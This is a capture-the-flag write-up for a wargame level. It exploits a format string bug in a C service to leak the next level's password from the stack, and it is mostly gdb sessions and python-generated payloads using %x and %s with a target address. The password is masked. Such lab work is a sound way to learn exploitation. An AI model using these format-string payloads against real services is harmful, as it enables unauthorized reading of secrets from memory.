Gracker level8 (Another FSBites the dust!)

Try the challenge thoroughly before reading the write-up. Otherwise, it's your loss.

We ssh to [email protected] and authenticate using the password we had obtained after solving the previous level.

Recap of previous level.

The recap tells us an important resource for shellcodes: shell-storm’s shellcode database. Other good resources include: exploit-db, packetstorm. The solution in the recap has directly used one of these shellcodes. We however had gone through the entire process of writing the shellcode and I think that was much more fun.

Level8

The story tells us that there is a vulnerable service running at nc 127.0.0.1 2988. So we access this service and see what it does.

[email protected]:~$ nc 127.0.0.1 2988
What is your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
You must be an Obj-C programmer. GET OUT OF HERE!
[email protected]:~$ 

So the service echoes what we input(along with a banter) and exits. We go ahead and examine the source code.

level8@gracker:/matrix/level8$ cat level8.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

// gcc level8.c -o level8 -m32

int main() {
    char *pos;
    char buffer[512];
    char password[32];

    int fp = open("/home/level9/.pass", O_RDONLY);

    read(fp, password, 32);
    if ((pos=strchr(password, '\n')) != NULL) *pos = '\0';
    password[31] = '\0';

    printf("What is your name?\n");
    fflush(stdout);
    fgets(buffer, sizeof(buffer), stdin);
    if ((pos=strchr(buffer, '\n')) != NULL) *pos = '\0';
    password[511] = '\0';
    printf(buffer);

    if(strcmp(buffer,password)==0) {
        printf("\ncorrect! come in.\n");
    } else{
    printf("\nYou must be an Obj-C programmer. GET OUT OF HERE!\n");
}
}

So it seems to be a simple format string bug, since it is directly printing the buffer in printf(buffer); without any format-string specifiers. I had read a bit about this vulnerability, but had never actually exploited it. Now seemed to be a good chance.

So I copied the source code and ran it at my home turf(my own PC) where I had the luxury of using a password that I know already and tools like peda in my hands. I modified the location of the .pass file in the source code and also created a .pass file in the directory.

$ echo "1234567" > .pass
$ gcc level8.c -o level8 -m32 -fno-stack-protector -z execstack
level8.c: In function ‘main’:
level8.c:24:12: warning: format not a string literal and no format arguments [-Wformat-security]
     printf(buffer);
$ 

On reading upon the format string bug, I got to know that the %x format-specifier leaks the stack information. So using this knowledge…

$ gdb -q level8
Reading symbols from level8...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/feignix/infosec/wargames/gracker.org/level8/level8 
What is your name?
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
AAAA0000000a.f7fad600.ffffcd88.f7ffd55c.f7fda5f9.34333231.00373635.00000000.f7fef916.ffffffff.
You must be an Obj-C programmer. GET OUT OF HERE!
[Inferior 1 (process 4514) exited normally]
Warning: not running or target is remote
gdb-peda$ 

So yes, it is leaking some data. Let’s try to figure out the address of the password, so that we can then use the %s format specifier and read the data at that address. We’ll set a breakpoint just before the printf(buffer); is executed and examine the stack there.

gdb-peda$ disas main
Dump of assembler code for function main:
[...snip...]
   0x0804868a <+207>:	sub    esp,0xc
   0x0804868d <+210>:	lea    eax,[ebp-0x210]
   0x08048693 <+216>:	push   eax
   0x08048694 <+217>:	call   0x8048440 <printf@plt>
   0x08048699 <+222>:	add    esp,0x10
   0x0804869c <+225>:	sub    esp,0x8
[...snip...]  
End of assembler dump.
gdb-peda$ b *0x08048694
Breakpoint 1 at 0x8048694
gdb-peda$ r
Starting program: /home/feignix/infosec/wargames/gracker.org/level8/level8
What is your name?
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
[----------------------------------registers-----------------------------------]
EAX: 0xffffcd98 ("AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.")
EBX: 0xf7fad000 --> 0x1b6d64 
ECX: 0x8 
EDX: 0x100 
ESI: 0x0 
EDI: 0x80484c0 (<_start>:	xor    ebp,ebp)
EBP: 0xffffcfa8 --> 0x0 
ESP: 0xffffcd60 --> 0xffffcd98 ("AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.")
EIP: 0x8048694 (<main+217>:	call   0x8048440 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868a <main+207>:	sub    esp,0xc
   0x804868d <main+210>:	lea    eax,[ebp-0x210]
   0x8048693 <main+216>:	push   eax
=> 0x8048694 <main+217>:	call   0x8048440 <printf@plt>
   0x8048699 <main+222>:	add    esp,0x10
   0x804869c <main+225>:	sub    esp,0x8
   0x804869f <main+228>:	lea    eax,[ebp-0x230]
   0x80486a5 <main+234>:	push   eax
Guessed arguments:
arg[0]: 0xffffcd98 ("AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.")
[------------------------------------stack-------------------------------------]
0000| 0xffffcd60 --> 0xffffcd98 ("AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.")
0004| 0xffffcd64 --> 0xa ('\n')
0008| 0xffffcd68 --> 0xf7fad600 --> 0xfbad2288 
0012| 0xffffcd6c --> 0xffffcd88 --> 0xffffffff 
0016| 0xffffcd70 --> 0xf7ffd55c --> 0xf7fda000 --> 0x464c457f 
0020| 0xffffcd74 --> 0xf7fda5f9 ("free")
0024| 0xffffcd78 ("1234567")
0028| 0xffffcd7c --> 0x373635 ('567')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048694 in main ()
gdb-peda$ c
Continuing.
AAAA0000000a.f7fad600.ffffcd88.f7ffd55c.f7fda5f9.34333231.00373635.00000000.f7fef916.ffffffff.f7fe2b18.f7fd91fd.00f54c54.41414141.78383025.
You must be an Obj-C programmer. GET OUT OF HERE!
[Inferior 1 (process 4631) exited normally]
Warning: not running or target is remote
gdb-peda$ 

It is quite clear from peda’s output that the password is located at 0xffffcd78. And the string that we have input is printed at the 14th position on the stack(Notice the 41414141). We know that we can read from a memory address using the %s format specifier. We’ll have to input the address 0xffffcd78 in our string and %s at the 14th position so that we are able to read the value at that address. Let’s try this out.

gdb-peda$ r <<< $(python -c "print '\x78\xcd\xff\xff' + '%08x.'*13 + '%s'")
Starting program: /home/feignix/infosec/wargames/gracker.org/level8/level8 <<< $(python -c "print '\x78\xcd\xff\xff' + '%08x.'*13 + '%s'")
What is your name?
x���0000000a.f7fad600.ffffcd88.f7ffd55c.f7fda5f9.34333231.00373635.00000000.f7fef916.ffffffff.f7fe2b18.f7fd91fd.00f54c54.1234567
You must be an Obj-C programmer. GET OUT OF HERE!
[Inferior 1 (process 4666) exited normally]
Warning: not running or target is remote
gdb-peda$

And yes, we are able to successfully leak the password present at the address 0xffffcd78. However the address will obviously be different on the gracker machine. The trick is that even though the address might be different, the differences between the addresses will be nearly same. The 3rd value on the stack(from our output) is ffffcd88. So it is a fair enough conclusion that the password will be present near the 3rd address - 0x10 on the gracker machine too. Let’s see if we are correct.

[email protected]:/matrix/level8$ nc 127.0.0.1 2988
What is your name?
AAAA%08x.%08x.%08x.
AAAA0000000a.f7fcec20.ffffdc20.
You must be an Obj-C programmer. GET OUT OF HERE!
[email protected]:/matrix/level8$ (python -c "print '\x10\xdc\xff\xff'+'%08x.'*13+'%'") | nc 127.0.0.1 2988
What is your name?
���0000000a.f7fcec20.ffffdc20.ffffdc18.f7fdc5f9.3f695765.36515846.39544667.f7fdc500.ffffffff.f7ffd000.f7e35378.00fd2000.****
You must be an Obj-C programmer. GET OUT OF HERE!
[email protected]:/matrix/level8$

The address output was 0xffffdc20 and so we try to read the value at the address 0xffffdc10. And yes, we do get a part of the password. However that seems to be too small to be the password. Let’s try some nearby address. How about 0xffffdc06?

[email protected]:/matrix/level8$ (python -c "print '\x06\xdc\xff\xff'+'%08x.'*13+'%s'") | nc 127.0.0.1 2988
What is your name?
���0000000a.f7fcec20.ffffdc20.ffffdc18.f7fdc5f9.3f695765.36515846.39544667.f7fdc500.ffffffff.f7ffd000.f7e35378.00fd2000.��************
You must be an Obj-C programmer. GET OUT OF HERE!
[email protected]:/matrix/level8$ 

And Voila! We have the password to the next level. I am not revealing the password here so that the readers try the challenge on their own. This was a really long way to solve this challenge, but it was fun too and we learned a lot along the way. Cheers!